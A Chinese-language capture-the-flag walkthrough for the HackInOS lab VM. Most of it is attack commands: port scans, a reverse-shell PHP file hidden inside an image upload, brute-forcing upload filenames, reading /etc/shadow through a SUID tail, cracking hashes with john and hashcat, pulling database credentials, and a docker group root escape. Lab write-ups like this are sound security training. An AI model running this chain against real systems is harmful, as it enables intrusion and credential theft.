HackInOS Walkthrough
HackInOS Walkthrough
Box Info
官网在这里 HackInOS: 1
The Hack
先对目标主机进行端口发现
sudo nmap -p- 172.16.33.66 |
发现开放 22 和 8000 端口
对开放的端口进行应用版本发现
sudo nmap -p 22,8000 -A -T4 172.16.33.66 |
22 端口对应的 SSH 版本较高,漏洞较少且利用较困难,8000 似乎是一个 WordPress 站点,还泄露了 robots.txt
先来看 22 端口,尝试使用弱口令远程登陆 root 账号,同时看有没有泄露机密信息
ssh root@172.16.33.66 |
可惜失败了
看来 22 端口我们暂时拿他没办法了,那么就来看看 8000 端口吧
访问 robots.txt 中的 /upload.php 目录,发现可以上传文件,有意思的是,无论传 PHP 文件还是图片,页面响应都为 :)
那我们去 /uploads 目录看看有没有上传成功?阿哲…
再看看源码,发现 Hint 指向一个网址 https://github.com/fatihhcelik/Vulnerable-Machine
年代太久远了,已经是 404 了,只能去别人的 wp 里找源码了
<!DOCTYPE html> |
这段代码时 mime 类型检测和文件 md5 加密,同时不显示上传的目录
制作图片木马
cat php-reverse-shell.php >> picture.png |
上传成功
编写脚本生成 shell.php 的所有可能 MD5 文件名并保存在文件中
import hashlib |
使用生成的字典文件爆破
dirb http://172.16.33.66:8000/uploads dict.txt |
找到上传的文件
开启 nc 监听,访问上传的文件,成功 getshell 并获得 TTY shell
python3 -c "import pty;pty.spawn('/bin/bash')" |
接下来是提权,查看有什么文件具有 SUID 权限
find / -perm -u=s -type f 2>/dev/null |
发现 tail 具有 SUID 权限,tail 和 cat 相似,可以读取文件内容
那就直接读取 /etc/shadow 中的 root 的密码
tail -n 100 /etc/shadow |
获得 root 密码
将密码保存为 hash 文件并使用 john 破解
vi hash |
破解成功,密码为 john
直接使用 su 提权,成功
这 flag 感觉不太对啊
提示我们注意细节,我们还有 22 端口 SSH 服务没用到,同时 WordPress 站点有大量的 MySQL 服务也没发掘
查看 WordPress 配置文件
cat /var/www/html/wp-config.php |
找到了 WordPress 账号和密码
由于目标主机没有开放 3306 端口,外部访问不了,尝试在回弹的 shell 中登陆 mysql
mysql -h db -u wordpress -p wordpress |
成功进入数据库,查看列表
MySQL [wordpress]> show tables; |
发现第一个列表有 SSH 关键词,能和之前我们猜想的一样
尝试读取其中内容
MySQL [wordpress]> select * from host_ssh_cred; |
发现账户名和密码
使用 hashcat 破解加密后的密码
hashcat -a 0 -m 0 e10adc3949ba59abbe56e057f20f883e /usr/share/wordlists/rockyou.txt |
密码为 123456
由于目标主机开放 22 端口,使用 SSH 远程登陆
ssh hummingbirdscyber@172.16.33.66 |
登陆成功
运行 id 命令,发现我们远程登陆的用户属于 docker 组,可以无需 sudo
直接操作 Docker
由于需要知道使用的镜像名称执行如下命令查看,为 Ubuntu
lsb_release -a |
启动一个新的 Docker 容器,将宿主机的根目录 /
挂载到容器内的 /root
目录
保持标准输入(STDIN)打开,允许交互操作,同时分配一个伪终端(TTY)
docker run -v /:/root -i -t ubuntu /bin/bash |
提权成功
获得 flag